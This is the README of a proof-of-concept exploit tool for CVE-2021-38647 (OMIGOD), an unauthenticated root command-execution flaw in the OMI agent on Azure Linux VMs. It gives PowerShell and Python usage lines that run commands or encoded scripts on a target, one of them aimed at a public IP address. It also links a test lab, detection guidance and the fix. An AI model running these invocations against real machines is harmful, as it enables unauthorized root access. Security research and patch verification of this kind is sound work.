CVE-2021-38647

CVE-2021-38647 - POC to exploit unauthenticated RCE #OMIGOD on Azure UNIX/Linux VMs!

Details

In Microsoft's Azure, the OMI application gets installed automatically when services like Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, etc., are used for UNIX/Linux VM's. The OMI application also exposes the service over port 5986 if the Configuration Management service is used for managing the machine remotely.

Anyone with network access to vulnerable endpoint can send a request that leverages the SCXcore provider without the Authorization header and execute OS commands on the target machine with root privileges!

This vulnerability is now fixed but always worth to check against Linux VMs in Azure.

Usage

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

Deploy Test Environment

ARM Template to deploy on Azure - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMIGOD

Deploy without Azure - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

Detection & Mitigations

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

To mitigate the vulnerability we need to update OMI agent to version 1.6.8.1 or above.

Reference Links

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMIGOD

Blog

https://www.alteredsecurity.com/post/omigod-cve-2021-38647

Credit

WIZ Team - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

Disclaimer

This project has been created for academic research and the development of effective defensive techniques and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly!!